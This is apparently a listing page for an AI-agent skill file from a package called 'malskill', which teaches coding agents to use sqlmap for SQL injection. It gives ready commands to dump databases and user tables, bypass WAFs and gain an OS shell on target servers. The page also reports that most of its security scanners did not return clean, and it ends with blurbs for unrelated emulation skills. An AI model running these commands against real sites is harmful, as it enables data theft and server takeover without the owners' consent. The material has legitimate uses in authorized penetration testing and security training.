offensive-tools/web-app/sqlmap/SKILL.md
sqlmap: automatic SQL injection detection and exploitation tool supporting all major database backends. Use when testing web parameters, cookies, or headers for SQLi; extracting database contents; or escalating to OS command execution via INTO OUTFILE or xp_cmdshell.
npx skillsauth add aeondave/malskill sqlmapInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Automated SQL injection detection and exploitation.
sqlmap -u "http://target.com/search?id=1" --dbs
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --dbs
sqlmap -r request.txt --dbs
sqlmap -u "http://target.com/?id=1" -D mydb -T users --dump
| Flag | Purpose |
|------|---------|
| -u <url> | Target URL with parameter |
| -r <file> | Saved HTTP request (Burp format) |
| --data <data> | POST body |
| --cookie <cookie> | Session cookie |
| --dbs | Enumerate databases |
| -D <db> | Select database |
| -T <table> | Select table |
| --dump | Dump table data |
| --dump-all | Dump all databases |
| --os-shell | Get OS shell |
| --level <1-5> | Test depth (default 1) |
| --risk <1-3> | Risk level of tests (default 1) |
| --batch | Non-interactive, use defaults |
| -p <param> | Test specific parameter only |
| --threads <n> | Parallelism |
| --proxy <proxy> | Route through proxy |
sqlmap -u "http://target.com/?id=1" --os-shell --technique=U
| File | When to load |
|------|--------------|
| references/ | Auth bypass, WAF bypass, tamper scripts |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.